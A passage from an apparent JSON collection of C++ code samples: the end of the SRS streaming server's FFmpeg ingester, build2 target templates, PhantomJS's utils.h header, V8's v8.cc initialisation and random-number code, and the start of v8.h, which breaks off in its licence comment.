SrsPithyPrint::create_ingester();\n}\n\nSrsIngester::~SrsIngester()\n{\n    _srs_config->unsubscribe(this);\n    \n    srs_freep(pthread);\n    clear_engines();\n}\n\nint SrsIngester::start()\n{\n    int ret = ERROR_SUCCESS;\n    \n    if ((ret = parse()) != ERROR_SUCCESS) {\n        clear_engines();\n        ret = ERROR_SUCCESS;\n        return ret;\n    }\n    \n    // even no ingesters, we must also start it,\n    // for the reload may add more ingesters.\n    \n    // start thread to run all encoding engines.\n    if ((ret = pthread->start()) != ERROR_SUCCESS) {\n        srs_error(\"st_thread_create failed. ret=%d\", ret);\n        return ret;\n    }\n    srs_trace(\"ingest thread cid=%d, current_cid=%d\", pthread->cid(), _srs_context->get_id());\n    \n    return ret;\n}\n\nint SrsIngester::parse_ingesters(SrsConfDirective* vhost)\n{\n    int ret = ERROR_SUCCESS;\n    \n    std::vector<SrsConfDirective*> ingesters = _srs_config->get_ingesters(vhost->arg0());\n    \n    // create engine\n    for (int i = 0; i < (int)ingesters.size(); i++) {\n        SrsConfDirective* ingest = ingesters[i];\n        if ((ret = parse_engines(vhost, ingest)) != ERROR_SUCCESS) {\n            return ret;\n        }\n    }\n    \n    return ret;\n}\n\nint SrsIngester::parse_engines(SrsConfDirective* vhost, SrsConfDirective* ingest)\n{\n    int ret = ERROR_SUCCESS;\n\n    if (!_srs_config->get_ingest_enabled(ingest)) {\n        return ret;\n    }\n    \n    std::string ffmpeg_bin = _srs_config->get_ingest_ffmpeg(ingest);\n    if (ffmpeg_bin.empty()) {\n        ret = ERROR_ENCODER_PARSE;\n        srs_trace(\"empty ffmpeg ret=%d\", ret);\n        return ret;\n    }\n    \n    // get all engines.\n    std::vector<SrsConfDirective*> engines = _srs_config->get_transcode_engines(ingest);\n    \n    // create ingesters without engines.\n    if (engines.empty()) {\n        SrsFFMPEG* ffmpeg = new SrsFFMPEG(ffmpeg_bin);\n        if ((ret = initialize_ffmpeg(ffmpeg, vhost, ingest, NULL)) != ERROR_SUCCESS) {\n            srs_freep(ffmpeg);\n            if (ret != ERROR_ENCODER_LOOP) {\n                srs_error(\"invalid ingest engine. ret=%d\", ret);\n            }\n            return ret;\n        }\n\n        SrsIngesterFFMPEG* ingester = new SrsIngesterFFMPEG();\n        if ((ret = ingester->initialize(ffmpeg, vhost->arg0(), ingest->arg0())) != ERROR_SUCCESS) {\n            srs_freep(ingester);\n            return ret;\n        }\n        \n        ingesters.push_back(ingester);\n        return ret;\n    }\n\n    // create ingesters with engine\n    for (int i = 0; i < (int)engines.size(); i++) {\n        SrsConfDirective* engine = engines[i];\n        SrsFFMPEG* ffmpeg = new SrsFFMPEG(ffmpeg_bin);\n        if ((ret = initialize_ffmpeg(ffmpeg, vhost, ingest, engine)) != ERROR_SUCCESS) {\n            srs_freep(ffmpeg);\n            if (ret != ERROR_ENCODER_LOOP) {\n                srs_error(\"invalid ingest engine: %s %s, ret=%d\", \n                    ingest->arg0().c_str(), engine->arg0().c_str(), ret);\n            }\n            return ret;\n        }\n        \n        SrsIngesterFFMPEG* ingester = new SrsIngesterFFMPEG();\n        if ((ret = ingester->initialize(ffmpeg, vhost->arg0(), ingest->arg0())) != ERROR_SUCCESS) {\n            srs_freep(ingester);\n            return ret;\n        }\n\n        ingesters.push_back(ingester);\n    }\n    \n    return ret;\n}\n\nvoid SrsIngester::dispose()\n{\n    // first, use fast stop to notice all FFMPEG to quit gracefully.\n    std::vector<SrsIngesterFFMPEG*>::iterator it;\n    for (it = ingesters.begin(); it != ingesters.end(); ++it) {\n        SrsIngesterFFMPEG* ingester = *it;\n        ingester->fast_stop();\n    }\n    \n    if (!ingesters.empty()) {\n        srs_trace(\"fast stop all ingesters ok.\");\n    }\n    \n    // then, use stop to wait FFMPEG quit one by one and send SIGKILL if needed.\n    stop();\n}\n\nvoid SrsIngester::stop()\n{\n    pthread->stop();\n    clear_engines();\n}\n\nint SrsIngester::cycle()\n{\n    int ret = ERROR_SUCCESS;\n    \n    std::vector<SrsIngesterFFMPEG*>::iterator it;\n    for (it = ingesters.begin(); it != ingesters.end(); ++it) {\n        SrsIngesterFFMPEG* ingester = *it;\n        \n        // start all ffmpegs.\n        if ((ret = ingester->start()) != ERROR_SUCCESS) {\n            srs_error(\"ingest ffmpeg start failed. ret=%d\", ret);\n            return ret;\n        }\n\n        // check ffmpeg status.\n        if ((ret = ingester->cycle()) != ERROR_SUCCESS) {\n            srs_error(\"ingest ffmpeg cycle failed. ret=%d\", ret);\n            return ret;\n        }\n    }\n\n    // pithy print\n    show_ingest_log_message();\n    \n    return ret;\n}\n\nvoid SrsIngester::on_thread_stop()\n{\n}\n\nvoid SrsIngester::clear_engines()\n{\n    std::vector<SrsIngesterFFMPEG*>::iterator it;\n    \n    for (it = ingesters.begin(); it != ingesters.end(); ++it) {\n        SrsIngesterFFMPEG* ingester = *it;\n        srs_freep(ingester);\n    }\n\n    ingesters.clear();\n}\n\nint SrsIngester::parse()\n{\n    int ret = ERROR_SUCCESS;\n    \n    // parse ingesters\n    std::vector<SrsConfDirective*> vhosts;\n    _srs_config->get_vhosts(vhosts);\n    \n    for (int i = 0; i < (int)vhosts.size(); i++) {\n        SrsConfDirective* vhost = vhosts[i];\n        if ((ret = parse_ingesters(vhost)) != ERROR_SUCCESS) {\n            return ret;\n        }\n    }\n    \n    return ret;\n}\n\nint SrsIngester::initialize_ffmpeg(SrsFFMPEG* ffmpeg, SrsConfDirective* vhost, SrsConfDirective* ingest, SrsConfDirective* engine)\n{\n    int ret = ERROR_SUCCESS;\n    \n    std::string port;\n    if (true) {\n        std::vector<std::string> ip_ports = _srs_config->get_listens();\n        srs_assert(ip_ports.size() > 0);\n        \n        std::string ep = ip_ports[0];\n        std::string ip;\n        srs_parse_endpoint(ep, ip, port);\n    }\n    \n    std::string output = _srs_config->get_engine_output(engine);\n    // output stream, to other/self server\n    // ie. rtmp://localhost:1935/live/livestream_sd\n    output = srs_string_replace(output, \"[vhost]\", vhost->arg0());\n    output = srs_string_replace(output, \"[port]\", port);\n    if (output.empty()) {\n        ret = ERROR_ENCODER_NO_OUTPUT;\n        srs_trace(\"empty output url, ingest=%s. ret=%d\", ingest->arg0().c_str(), ret);\n        return ret;\n    }\n    \n    // find the app and stream in rtmp url\n    std::string url = output;\n    std::string app, stream;\n    size_t pos = std::string::npos;\n    if ((pos = url.rfind(\"/\")) != std::string::npos) {\n        stream = url.substr(pos + 1);\n        url = url.substr(0, pos);\n    }\n    if ((pos = url.rfind(\"/\")) != std::string::npos) {\n        app = url.substr(pos + 1);\n        url = url.substr(0, pos);\n    }\n    if ((pos = app.rfind(\"?\")) != std::string::npos) {\n        app = app.substr(0, pos);\n    }\n    \n    std::string log_file = SRS_CONSTS_NULL_FILE; // disabled\n    // write ffmpeg info to log file.\n    if (_srs_config->get_ffmpeg_log_enabled()) {\n        log_file = _srs_config->get_ffmpeg_log_dir();\n        log_file += \"/\";\n        log_file += \"ffmpeg-ingest\";\n        log_file += \"-\";\n        log_file += vhost->arg0();\n        log_file += \"-\";\n        log_file += app;\n        log_file += \"-\";\n        log_file += stream;\n        log_file += \".log\";\n    }\n    \n    // input\n    std::string input_type = _srs_config->get_ingest_input_type(ingest);\n    if (input_type.empty()) {\n        ret = ERROR_ENCODER_NO_INPUT;\n        srs_trace(\"empty intput type, ingest=%s. ret=%d\", ingest->arg0().c_str(), ret);\n        return ret;\n    }\n\n    if (srs_config_ingest_is_file(input_type)) {\n        std::string input_url = _srs_config->get_ingest_input_url(ingest);\n        if (input_url.empty()) {\n            ret = ERROR_ENCODER_NO_INPUT;\n            srs_trace(\"empty intput url, ingest=%s. ret=%d\", ingest->arg0().c_str(), ret);\n            return ret;\n        }\n        \n        // for file, set re.\n        ffmpeg->set_iparams(\"-re\");\n    \n        if ((ret = ffmpeg->initialize(input_url, output, log_file)) != ERROR_SUCCESS) {\n            return ret;\n        }\n    } else if (srs_config_ingest_is_stream(input_type)) {\n        std::string input_url = _srs_config->get_ingest_input_url(ingest);\n        if (input_url.empty()) {\n            ret = ERROR_ENCODER_NO_INPUT;\n            srs_trace(\"empty intput url, ingest=%s. ret=%d\", ingest->arg0().c_str(), ret);\n            return ret;\n        }\n        \n        // for stream, no re.\n        ffmpeg->set_iparams(\"\");\n    \n        if ((ret = ffmpeg->initialize(input_url, output, log_file)) != ERROR_SUCCESS) {\n            return ret;\n        }\n    } else {\n        ret = ERROR_ENCODER_INPUT_TYPE;\n        srs_error(\"invalid ingest=%s type=%s, ret=%d\", \n            ingest->arg0().c_str(), input_type.c_str(), ret);\n    }\n    \n    // set output format to flv for RTMP\n    ffmpeg->set_oformat(\"flv\");\n    \n    std::string vcodec = _srs_config->get_engine_vcodec(engine);\n    std::string acodec = _srs_config->get_engine_acodec(engine);\n    // whatever the engine config, use copy as default.\n    bool engine_disabled = !engine || !_srs_config->get_engine_enabled(engine);\n    if (engine_disabled || vcodec.empty() || acodec.empty()) {\n        if ((ret = ffmpeg->initialize_copy()) != ERROR_SUCCESS) {\n            return ret;\n        }\n    } else {\n        if ((ret = ffmpeg->initialize_transcode(engine)) != ERROR_SUCCESS) {\n            return ret;\n        }\n    }\n    \n    srs_trace(\"parse success, ingest=%s, vhost=%s\", \n        ingest->arg0().c_str(), vhost->arg0().c_str());\n    \n    return ret;\n}\n\nvoid SrsIngester::show_ingest_log_message()\n{\n    pprint->elapse();\n\n    if ((int)ingesters.size() <= 0) {\n        return;\n    }\n    \n    // random choose one ingester to report.\n    int index = rand() % (int)ingesters.size();\n    SrsIngesterFFMPEG* ingester = ingesters.at(index);\n    \n    // reportable\n    if (pprint->can_print()) {\n        srs_trace(\"-> \"SRS_CONSTS_LOG_INGESTER\" time=%\"PRId64\", ingesters=%d, #%d(alive=%ds, %s)\",\n            pprint->age(), (int)ingesters.size(), index, ingester->alive() / 1000, ingester->uri().c_str());\n    }\n}\n\nint SrsIngester::on_reload_vhost_added(string vhost)\n{\n    int ret = ERROR_SUCCESS;\n    \n    SrsConfDirective* _vhost = _srs_config->get_vhost(vhost);\n    if ((ret = parse_ingesters(_vhost)) != ERROR_SUCCESS) {\n        return ret;\n    }\n    \n    srs_trace(\"reload add vhost ingesters, vhost=%s\", vhost.c_str());\n\n    return ret;\n}\n\nint SrsIngester::on_reload_vhost_removed(string vhost)\n{\n    int ret = ERROR_SUCCESS;\n    \n    std::vector<SrsIngesterFFMPEG*>::iterator it;\n    \n    for (it = ingesters.begin(); it != ingesters.end();) {\n        SrsIngesterFFMPEG* ingester = *it;\n        \n        if (!ingester->equals(vhost)) {\n            ++it;\n            continue;\n        }\n        \n        // stop the ffmpeg and free it.\n        ingester->stop();\n        \n        srs_trace(\"reload stop ingester, vhost=%s, id=%s\", vhost.c_str(), ingester->uri().c_str());\n            \n        srs_freep(ingester);\n        \n        // remove the item from ingesters.\n        it = ingesters.erase(it);\n    }\n\n    return ret;\n}\n\nint SrsIngester::on_reload_ingest_removed(string vhost, string ingest_id)\n{\n    int ret = ERROR_SUCCESS;\n    \n    std::vector<SrsIngesterFFMPEG*>::iterator it;\n    \n    for (it = ingesters.begin(); it != ingesters.end();) {\n        SrsIngesterFFMPEG* ingester = *it;\n        \n        if (!ingester->equals(vhost, ingest_id)) {\n            ++it;\n            continue;\n        }\n        \n        // stop the ffmpeg and free it.\n        ingester->stop();\n        \n        srs_trace(\"reload stop ingester, vhost=%s, id=%s\", vhost.c_str(), ingester->uri().c_str());\n            \n        srs_freep(ingester);\n        \n        // remove the item from ingesters.\n        it = ingesters.erase(it);\n    }\n    \n    return ret;\n}\n\nint SrsIngester::on_reload_ingest_added(string vhost, string ingest_id)\n{\n    int ret = ERROR_SUCCESS;\n    \n    SrsConfDirective* _vhost = _srs_config->get_vhost(vhost);\n    SrsConfDirective* _ingester = _srs_config->get_ingest_by_id(vhost, ingest_id);\n    \n    if ((ret = parse_engines(_vhost, _ingester)) != ERROR_SUCCESS) {\n        return ret;\n    }\n    \n    srs_trace(\"reload add ingester, \"\n        \"vhost=%s, id=%s\", vhost.c_str(), ingest_id.c_str());\n    \n    return ret;\n}\n\nint SrsIngester::on_reload_ingest_updated(string vhost, string ingest_id)\n{\n    int ret = ERROR_SUCCESS;\n\n    if ((ret = on_reload_ingest_removed(vhost, ingest_id)) != ERROR_SUCCESS) {\n        return ret;\n    }\n\n    if ((ret = on_reload_ingest_added(vhost, ingest_id)) != ERROR_SUCCESS) {\n        return ret;\n    }\n    \n    srs_trace(\"reload updated ingester, \"\n        \"vhost=%s, id=%s\", vhost.c_str(), ingest_id.c_str());\n    \n    return ret;\n}\n\n#endif\n\n"
  },
  {
    "path": "samples/C++/target.txx",
    "content": "// file      : libbuild2/target.txx -*- C++ -*-\n// license   : MIT; see accompanying LICENSE file\n\n#include <libbuild2/scope.hxx>\n#include <libbuild2/diagnostics.hxx>\n\nnamespace build2\n{\n  template <const char* ext>\n  const char*\n  target_extension_fix (const target_key& tk, const scope*)\n  {\n    // A generic file target type doesn't imply any extension while a very\n    // specific one (say man1) may have a fixed extension. So if one wasn't\n    // specified set it to fixed ext rather than unspecified. For file{}\n    // itself we make it empty which means we treat file{foo} as file{foo.}.\n    //\n    return tk.ext ? tk.ext->c_str () : ext;\n  }\n\n  template <const char* ext>\n  bool\n  target_pattern_fix (const target_type&,\n                      const scope&,\n                      string& v,\n                      optional<string>& e,\n                      const location& l,\n                      bool r)\n  {\n    if (r)\n    {\n      // If we get called to reverse then it means we've added the extension\n      // in the first place.\n      //\n      assert (e);\n      e = nullopt;\n    }\n    else\n    {\n      e = target::split_name (v, l);\n\n      // We only add our extension if there isn't one already.\n      //\n      if (!e)\n      {\n        e = ext;\n        return true;\n      }\n    }\n\n    return false;\n  }\n\n  inline optional<string>\n  target_extension_var_impl (const target_type& tt,\n                             const string& tn,\n                             const scope& s,\n                             const char* def)\n  {\n    // Include target type/pattern-specific variables.\n    //\n    // Note that we know this is not dir{} or fsdir{} and that the extension\n    // is not part of the match (see variable_type_map::find() for details).\n    //\n    if (auto l = s.lookup (*s.ctx.var_extension, tt, tn))\n    {\n      // Help the user here and strip leading '.' from the extension.\n      //\n      const string& e (cast<string> (l));\n      return !e.empty () && e.front () == '.' ? string (e, 1) : e;\n    }\n\n    return def != nullptr ? optional<string> (def) : nullopt;\n  }\n\n  template <const char* def>\n  optional<string>\n  target_extension_var (const target_key& tk,\n                        const scope& s,\n                        const char*,\n                        bool)\n  {\n    return target_extension_var_impl (*tk.type, *tk.name, s, def);\n  }\n\n  template <const char* def>\n  bool\n  target_pattern_var (const target_type& tt,\n                      const scope& s,\n                      string& v,\n                      optional<string>& e,\n                      const location& l,\n                      bool r)\n  {\n    if (r)\n    {\n      // If we get called to reverse then it means we've added the extension\n      // in the first place.\n      //\n      assert (e);\n      e = nullopt;\n    }\n    else\n    {\n      e = target::split_name (v, l);\n\n      // We only add our extension if there isn't one already.\n      //\n      if (!e)\n      {\n        // Use empty name as a target since we only want target type/pattern-\n        // specific variables that match any target ('*' but not '*.txt').\n        //\n        if ((e = target_extension_var_impl (tt, string (), s, def)))\n          return true;\n      }\n    }\n\n    return false;\n  }\n\n  // dir\n  //\n  template <typename K>\n  const target* dir::\n  search_implied (const scope& bs, const K& k, tracer& trace)\n  {\n    using namespace butl;\n\n    // See if we have any prerequisites.\n    //\n    prerequisites_type ps (collect_implied (bs));\n\n    if (ps.empty ())\n      return nullptr;\n\n    l5 ([&]{trace << \"implying buildfile for \" << k;});\n\n    // We behave as if this target was explicitly mentioned in the (implied)\n    // buildfile. Thus not implied.\n    //\n    target& t (bs.ctx.targets.insert (dir::static_type,\n                                      bs.out_path (),\n                                      dir_path (),\n                                      string (),\n                                      nullopt,\n                                      target_decl::real,\n                                      trace).first);\n    t.prerequisites (move (ps));\n    return &t;\n  }\n\n  // exe\n  //\n  template <typename T>\n  const T* exe::\n  lookup_metadata (const char* var) const\n  {\n    if (auto* ns = cast_null<names> (vars[ctx.var_export_metadata]))\n    {\n      // Metadata variable prefix must be in the second name.\n      //\n      if (ns->size () < 2 || !(*ns)[1].simple ())\n        fail << \"invalid metadata variable prefix in target \" << *this;\n\n      return cast_null<T> (vars[(*ns)[1].value + '.' + var]);\n    }\n\n    return nullptr;\n  }\n}\n"
  },
  {
    "path": "samples/C++/utils.h",
    "content": "/*\n  This file is part of the PhantomJS project from Ofi Labs.\n\n  Copyright (C) 2011 Ariya Hidayat <ariya.hidayat@gmail.com>\n  Copyright (C) 2011 Ivan De Marino <ivan.de.marino@gmail.com>\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and/or other materials provided with the distribution.\n    * Neither the name of the <organization> nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n  ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY\n  DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n  ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n  THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#ifndef UTILS_H\n#define UTILS_H\n\n#include <QtGlobal>\n#include <QWebFrame>\n#include <QFile>\n\n#include \"csconverter.h\"\n#include \"encoding.h\"\n\nclass QTemporaryFile;\n/**\n * Aggregate common utility functions.\n * Functions are static methods.\n * It's important to notice that, at the moment, this class can't be instantiated by design.\n */\nclass Utils\n{\npublic:\n    static void showUsage();\n    static void messageHandler(QtMsgType type, const char *msg);\n    static bool exceptionHandler(const char* dump_path, const char* minidump_id, void* context, bool succeeded);\n    static QVariant coffee2js(const QString &script);\n    static bool injectJsInFrame(const QString &jsFilePath, const QString &libraryPath, QWebFrame *targetFrame, const bool startingScript = false);\n    static bool injectJsInFrame(const QString &jsFilePath, const Encoding &jsFileEnc, const QString &libraryPath, QWebFrame *targetFrame, const bool startingScript = false);\n    static QString readResourceFileUtf8(const QString &resourceFilePath);\n\n    static bool loadJSForDebug(const QString &jsFilePath, const Encoding &jsFileEnc, const QString &libraryPath, QWebFrame *targetFrame, const bool autorun = false);\n    static bool loadJSForDebug(const QString &jsFilePath, const QString &libraryPath, QWebFrame *targetFrame, const bool autorun = false);\n    static void cleanupFromDebug();\n\nprivate:\n    static QString findScript(const QString &jsFilePath, const QString& libraryPath);\n    static QString jsFromScriptFile(const QString& scriptPath, const Encoding& enc);\n    Utils(); //< This class shouldn't be instantiated\n\n    static QTemporaryFile* m_tempHarness; //< We want to make sure to clean up after ourselves\n    static QTemporaryFile* m_tempWrapper;\n};\n\n#endif // UTILS_H\n"
  },
  {
    "path": "samples/C++/v8.cc",
    "content": "// Copyright 2012 the V8 project authors. All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n//     * Redistributions of source code must retain the above copyright\n//       notice, this list of conditions and the following disclaimer.\n//     * Redistributions in binary form must reproduce the above\n//       copyright notice, this list of conditions and the following\n//       disclaimer in the documentation and/or other materials provided\n//       with the distribution.\n//     * Neither the name of Google Inc. nor the names of its\n//       contributors may be used to endorse or promote products derived\n//       from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"v8.h\"\n\n#include \"assembler.h\"\n#include \"isolate.h\"\n#include \"elements.h\"\n#include \"bootstrapper.h\"\n#include \"debug.h\"\n#include \"deoptimizer.h\"\n#include \"frames.h\"\n#include \"heap-profiler.h\"\n#include \"hydrogen.h\"\n#include \"lithium-allocator.h\"\n#include \"log.h\"\n#include \"once.h\"\n#include \"platform.h\"\n#include \"runtime-profiler.h\"\n#include \"serialize.h\"\n#include \"store-buffer.h\"\n\nnamespace v8 {\nnamespace internal {\n\nV8_DECLARE_ONCE(init_once);\n\nbool V8::is_running_ = false;\nbool V8::has_been_set_up_ = false;\nbool V8::has_been_disposed_ = false;\nbool V8::has_fatal_error_ = false;\nbool V8::use_crankshaft_ = true;\nList<CallCompletedCallback>* V8::call_completed_callbacks_ = NULL;\n\nstatic LazyMutex entropy_mutex = LAZY_MUTEX_INITIALIZER;\n\nstatic EntropySource entropy_source;\n\n\nbool V8::Initialize(Deserializer* des) {\n  FlagList::EnforceFlagImplications();\n\n  InitializeOncePerProcess();\n\n  // The current thread may not yet had entered an isolate to run.\n  // Note the Isolate::Current() may be non-null because for various\n  // initialization purposes an initializing thread may be assigned an isolate\n  // but not actually enter it.\n  if (i::Isolate::CurrentPerIsolateThreadData() == NULL) {\n    i::Isolate::EnterDefaultIsolate();\n  }\n\n  ASSERT(i::Isolate::CurrentPerIsolateThreadData() != NULL);\n  ASSERT(i::Isolate::CurrentPerIsolateThreadData()->thread_id().Equals(\n           i::ThreadId::Current()));\n  ASSERT(i::Isolate::CurrentPerIsolateThreadData()->isolate() ==\n         i::Isolate::Current());\n\n  if (IsDead()) return false;\n\n  Isolate* isolate = Isolate::Current();\n  if (isolate->IsInitialized()) return true;\n\n  is_running_ = true;\n  has_been_set_up_ = true;\n  has_fatal_error_ = false;\n  has_been_disposed_ = false;\n\n  return isolate->Init(des);\n}\n\n\nvoid V8::SetFatalError() {\n  is_running_ = false;\n  has_fatal_error_ = true;\n}\n\n\nvoid V8::TearDown() {\n  Isolate* isolate = Isolate::Current();\n  ASSERT(isolate->IsDefaultIsolate());\n\n  if (!has_been_set_up_ || has_been_disposed_) return;\n\n  ElementsAccessor::TearDown();\n  LOperand::TearDownCaches();\n  RegisteredExtension::UnregisterAll();\n\n  isolate->TearDown();\n  delete isolate;\n\n  is_running_ = false;\n  has_been_disposed_ = true;\n\n  delete call_completed_callbacks_;\n  call_completed_callbacks_ = NULL;\n\n  OS::TearDown();\n}\n\n\nstatic void seed_random(uint32_t* state) {\n  for (int i = 0; i < 2; ++i) {\n    if (FLAG_random_seed != 0) {\n      state[i] = FLAG_random_seed;\n    } else if (entropy_source != NULL) {\n      uint32_t val;\n      ScopedLock lock(entropy_mutex.Pointer());\n      entropy_source(reinterpret_cast<unsigned char*>(&val), sizeof(uint32_t));\n      state[i] = val;\n    } else {\n      state[i] = random();\n    }\n  }\n}\n\n\n// Random number generator using George Marsaglia's MWC algorithm.\nstatic uint32_t random_base(uint32_t* state) {\n  // Initialize seed using the system random().\n  // No non-zero seed will ever become zero again.\n  if (state[0] == 0) seed_random(state);\n\n  // Mix the bits.  Never replaces state[i] with 0 if it is nonzero.\n  state[0] = 18273 * (state[0] & 0xFFFF) + (state[0] >> 16);\n  state[1] = 36969 * (state[1] & 0xFFFF) + (state[1] >> 16);\n\n  return (state[0] << 14) + (state[1] & 0x3FFFF);\n}\n\n\nvoid V8::SetEntropySource(EntropySource source) {\n  entropy_source = source;\n}\n\n\nvoid V8::SetReturnAddressLocationResolver(\n      ReturnAddressLocationResolver resolver) {\n  StackFrame::SetReturnAddressLocationResolver(resolver);\n}\n\n\n// Used by JavaScript APIs\nuint32_t V8::Random(Context* context) {\n  ASSERT(context->IsGlobalContext());\n  ByteArray* seed = context->random_seed();\n  return random_base(reinterpret_cast<uint32_t*>(seed->GetDataStartAddress()));\n}\n\n\n// Used internally by the JIT and memory allocator for security\n// purposes. So, we keep a different state to prevent informations\n// leaks that could be used in an exploit.\nuint32_t V8::RandomPrivate(Isolate* isolate) {\n  ASSERT(isolate == Isolate::Current());\n  return random_base(isolate->private_random_seed());\n}\n\n\nbool V8::IdleNotification(int hint) {\n  // Returning true tells the caller that there is no need to call\n  // IdleNotification again.\n  if (!FLAG_use_idle_notification) return true;\n\n  // Tell the heap that it may want to adjust.\n  return HEAP->IdleNotification(hint);\n}\n\n\nvoid V8::AddCallCompletedCallback(CallCompletedCallback callback) {\n  if (call_completed_callbacks_ == NULL) {  // Lazy init.\n    call_completed_callbacks_ = new List<CallCompletedCallback>();\n  }\n  for (int i = 0; i < call_completed_callbacks_->length(); i++) {\n    if (callback == call_completed_callbacks_->at(i)) return;\n  }\n  call_completed_callbacks_->Add(callback);\n}\n\n\nvoid V8::RemoveCallCompletedCallback(CallCompletedCallback callback) {\n  if (call_completed_callbacks_ == NULL) return;\n  for (int i = 0; i < call_completed_callbacks_->length(); i++) {\n    if (callback == call_completed_callbacks_->at(i)) {\n      call_completed_callbacks_->Remove(i);\n    }\n  }\n}\n\n\nvoid V8::FireCallCompletedCallback(Isolate* isolate) {\n  if (call_completed_callbacks_ == NULL) return;\n  HandleScopeImplementer* handle_scope_implementer =\n      isolate->handle_scope_implementer();\n  if (!handle_scope_implementer->CallDepthIsZero()) return;\n  // Fire callbacks.  Increase call depth to prevent recursive callbacks.\n  handle_scope_implementer->IncrementCallDepth();\n  for (int i = 0; i < call_completed_callbacks_->length(); i++) {\n    call_completed_callbacks_->at(i)();\n  }\n  handle_scope_implementer->DecrementCallDepth();\n}\n\n\n// Use a union type to avoid type-aliasing optimizations in GCC.\ntypedef union {\n  double double_value;\n  uint64_t uint64_t_value;\n} double_int_union;\n\n\nObject* V8::FillHeapNumberWithRandom(Object* heap_number,\n                                     Context* context) {\n  double_int_union r;\n  uint64_t random_bits = Random(context);\n  // Convert 32 random bits to 0.(32 random bits) in a double\n  // by computing:\n  // ( 1.(20 0s)(32 random bits) x 2^20 ) - (1.0 x 2^20)).\n  static const double binary_million = 1048576.0;\n  r.double_value = binary_million;\n  r.uint64_t_value |= random_bits;\n  r.double_value -= binary_million;\n\n  HeapNumber::cast(heap_number)->set_value(r.double_value);\n  return heap_number;\n}\n\nvoid V8::InitializeOncePerProcessImpl() {\n  OS::SetUp();\n\n  use_crankshaft_ = FLAG_crankshaft;\n\n  if (Serializer::enabled()) {\n    use_crankshaft_ = false;\n  }\n\n  CPU::SetUp();\n  if (!CPU::SupportsCrankshaft()) {\n    use_crankshaft_ = false;\n  }\n\n  OS::PostSetUp();\n\n  RuntimeProfiler::GlobalSetUp();\n\n  ElementsAccessor::InitializeOncePerProcess();\n\n  if (FLAG_stress_compaction) {\n    FLAG_force_marking_deque_overflows = true;\n    FLAG_gc_global = true;\n    FLAG_max_new_space_size = (1 << (kPageSizeBits - 10)) * 2;\n  }\n\n  LOperand::SetUpCaches();\n  SetUpJSCallerSavedCodeData();\n  SamplerRegistry::SetUp();\n  ExternalReference::SetUp();\n}\n\nvoid V8::InitializeOncePerProcess() {\n  CallOnce(&init_once, &InitializeOncePerProcessImpl);\n}\n\n} }  // namespace v8::internal\n"
  },
  {
    "path": "samples/C++/v8.h",
    "content": "// Copyright 2011 the V8 project authors. All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n//     * Redistributions of source code must retain the above copyright\n//       notice, this list of conditions and the following disclaimer.\n//     * Redistributions in binary form must reproduce the above\n//       copyright notice, this list of conditions and the following\n//       disclaimer in the documentation and/or other materials provided\n//       with the distribution.\n//     * Neither the name of Google Inc. nor the names of its\n//       contributors may be used to endorse or promote products derived\n//       from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// 